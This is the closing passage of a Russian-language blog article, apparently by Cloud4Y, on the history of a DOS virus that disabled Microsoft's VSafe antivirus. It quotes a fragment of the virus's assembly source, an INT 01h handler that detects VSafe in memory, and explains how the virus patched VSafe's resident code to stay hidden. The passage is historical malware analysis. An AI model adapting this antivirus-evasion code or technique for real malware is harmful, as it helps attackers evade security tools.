MOV WORD PTR CS:[VSAFE_SEG],DS ;ZIEL_SEG neu setzen
SUCH_SEG: CMP WORD PTR DS:[BX],0FC80H ;"CMP AH,x" ?
JNE END01 ;NEIN --> END01
CMP BYTE PTR DS:[BX+2],0FAH ;"CMP AH,0FA" ?
JNE END01 ;NEIN --> END01
MOV BYTE PTR CS:[VSAFE_FLAG],1 ;VSAFE gefunden
;??????????????????????????????????????????????????????????????????????????????
END01: POPF ;Register restaurieren
POP DS ; " "
POP SI ; " "
POP CX ; " "
POP BX ; " "
POP AX ; " "
POP BP ; " "
;??????????????????????????????????????????????????????????????????????????????
IRET ;INT beenden
;??????????????????????????????????????????????????????????????????????????????
NEU01 ENDP
ENDIF
;??????????????????????????????????????????????????????????????????????????????
...
Обнаружив VSafe TSR, обработчик INT 01h вируса анализировал пути выполнения функций INT 21h «determination of the MS‑DOS version» и INT 13h «checking the system disk»s status», отслеживая изменения в сегменте кода (CS) процессора во время этих вызовов. Сопоставив эти изменения с пониманием вирусописателями общего функционирования INT 21h и INT 13h и специфического поведения, а также специфического поведения перехватчиков VSafe TSR, вирус определял, как модифицировать находящийся в памяти код VSafe, предотвращая его активацию. В результате вирус мог обойти защитные механизмы VSafe TSR, гарантируя незаметность своей дальнейшей активности.
Вот такая получилась история. Спасибо за внимание!
Автор: Cloud4Y